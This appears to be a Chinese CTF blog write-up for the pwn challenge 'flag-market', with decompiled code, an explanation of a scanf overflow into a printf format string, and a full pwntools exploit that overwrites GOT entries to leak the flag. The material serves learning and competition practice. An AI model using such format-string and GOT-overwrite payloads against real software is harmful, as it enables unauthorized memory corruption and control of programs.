第九届强网杯PWN题目flag-market
前言
我说这题真挺绕吧[手动滑稽],我最后费劲想出来的这个解法相当麻烦,反手搜了下其他人的wp,发现原来是有我不会的知识点[哭笑不得],总之,第二种解法比我这种简洁明了的多,我在文章最后会稍微说一下。
分析

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int i; int fd; FILE *stream; char filename[9]; char s[16]; char v9[72]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); sub_401336(a1, a2, a3); strcpy(filename, "/flag"); stream = fopen(filename, "r"); dword_40430C = 1; while ( 1 ) { while ( 1 ) { puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit"); memset(s, 0, sizeof(s)); read(0, s, 0x10u); if ( (unsigned __int8)atoi(s) != 1 ) exit(0); puts("how much you want to pay?"); memset(s, 0, sizeof(s)); read(0, s, 0x10u); if ( (unsigned __int8)atoi(s) == 0xFF ) break; printf("You are so parsimonious!!!"); if ( dword_40430C ) { fclose(stream); dword_40430C = 0; } } puts(aThankYouForPay); if ( !dword_40430C || !fgets(v9, 64, stream) ) break; for ( i = 0; ; ++i ) { if ( i > 64 ) { puts("\nThank you for your patronage!"); return 0; } if ( v9[i] == 123 ) break; putchar(v9[i]); sleep(1u); } memset(v9, 0, 0x40u); puts(a1m31mError0mSo); puts("opened user.log, please report:"); memset(oflag, 0, 0x100u); __isoc99_scanf("%s", oflag); getchar(); fd = open("user.log", (int)oflag); write(fd, oflag, 0x100u); puts(aOkNowYouCanExi); } puts("something is wrong"); return 0; }
|
这是一个flag售卖程序(疑似咸鱼暗广),大致逻辑就是当你支付255时,程序会从文件读取flag到v9,并打印flag,但当遇到‘{’时,就会停止并报错,然后让你输入一个日志,并存进user.log里。
我们发现oflag的下方存放的正好是printf要输出的字符串。


所以这里就能通过scanf输入垃圾数据覆盖到这里,然后利用格式化字符串漏洞进行一些操作,同时,我们注意到,问我们给多少钱时,我们是可以在栈上写地址的,配合格式化字符串漏洞,我们就可以在一定程度上“为所欲为”(任意地址写和任意地址读)了(桀桀桀)。但是,前提条件是“一定程度上”,这里必须注意,如果我们在输入金额时输入的不是255,程序不仅会关闭文件流,还会使dword_40430C = 0,这会使得程序不再执行fgets读入flag且会退出循环关闭程序,所以我们这里直接把fclose的got表项覆盖成main函数,这样基本可以保证不会让程序运行赋值代码了。接下来就是思考怎么把flag搞到手。

neise1这里比较简单粗暴,想着,既然flag会被读到栈上,那我能不能想个办法把flag留在栈上,然后让printf直接从栈上读取,那么我要做的,就是跳出最内层while后,仍不让后半段程序执行(在我已经利用scanf布置好格式化字符串后)。在经历一阵头脑风暴后,neise1选择把putchar的got表也覆盖为main,这样就可以让flag留在栈上,并运行printf了,格式化字符串中用于改got表的偏移根据s数组在栈上的位置很好算,是12,读取flag的偏移需要经过gdb调试。

这里可以直接用%s泄露,偏移就是14,如果觉得不安心也可以用三个%p泄露,只是需要再把泄露出的地址数据转成字符就是了。
exp
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] io = process('./chall') elf = ELF('./chall')
fclose_got = 0x404030 putchar_got=0x404018 main_addr = 0x40139B
io.sendlineafter(b'2.exit\n', b'1') io.sendlineafter(b'how much you want to pay?\n', b'255')
io.recvuntil(b'opened user.log, please report:\n') payload = b'a' * 0x100 a=main_addr & 0xffff
fmtstr = f'%{a}c%12$hn'.encode() payload += fmtstr io.sendline(payload)
io.sendlineafter(b'2.exit\n', b'1') io.sendlineafter(b'how much you want to pay?\n', p64(fclose_got))
io.sendlineafter(b'2.exit\n', b'1') io.sendlineafter(b'how much you want to pay?\n', b'255') io.recvuntil(b'opened user.log, please report:\n') payload2 = b'a' * 0x100 fmtstr2 = f'%13$n'.encode() fmtstr2 += f'%{main_addr}c%12$n'.encode() fmtstr2 += b'%14$s' payload2 += fmtstr2 io.sendline(payload2) gdb.attach(io) io.sendlineafter(b'2.exit\n', b'1') io.sendlineafter(b'how much you want to pay?\n', p64(putchar_got)+p64(putchar_got+3)) gdb.attach(io) io.sendlineafter(b'2.exit\n', b'1') io.sendlineafter(b'how much you want to pay?\n', b'255')
io.sendlineafter(b'2.exit\n', b'1') io.sendlineafter(b'how much you want to pay?\n', p64(putchar_got)+p64(putchar_got+3))
io.interactive()
|
两次got表改写不一样是因为,改fclose时,他还没被调用,got表里存的是plt条目中跳转到动态链接器的那条指令的地址。和main的地址只有低2字节不同所以只覆盖低2字节,但putchar被覆盖时已经被调用了,此时putchar这里存的是libc库的地址了,所以不但要3个字节全写,还必须要把下几个字节覆盖为0。
后面neise1查了wp后发现正常是用格式化漏洞泄露libc地址,然后找到flag所在的堆(简单来说,I/O类型的函数(如fopen,fgets等)为了提到效率,会用到“缓冲”机制,这个缓冲机制就是通过调用malloc来实现的),然后在libc库里找对应的堆指针,再通过格式化字符串泄露。
结尾
第二种解法具体详见第九届强网杯线上赛PWN_flag-market - YouDiscovered1t - 博客园
这是我第一篇博客,也不知道之后会不会有人来看[心虚],搭建博客主要就是为了记录自己在pwn方向的学习,并起到一个促进作用,不过就算只是自己搭建一个博客也依旧是很有成就感的。